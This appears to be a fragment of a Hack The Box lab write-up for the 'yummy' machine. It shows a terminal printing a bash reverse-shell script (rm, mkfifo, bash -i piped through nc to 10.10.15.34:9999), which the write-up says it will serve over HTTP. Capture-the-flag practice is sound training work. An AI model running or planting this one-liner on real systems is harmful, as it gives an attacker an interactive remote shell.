Reverse Shell


┌──(kali㉿kali)-[~/archive/htb/labs/yummy]
└─$ cat rev.sh
#!/bin/bash
 
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.15.34 9999 >/tmp/f

A Bash reverse shell will be served over HTTP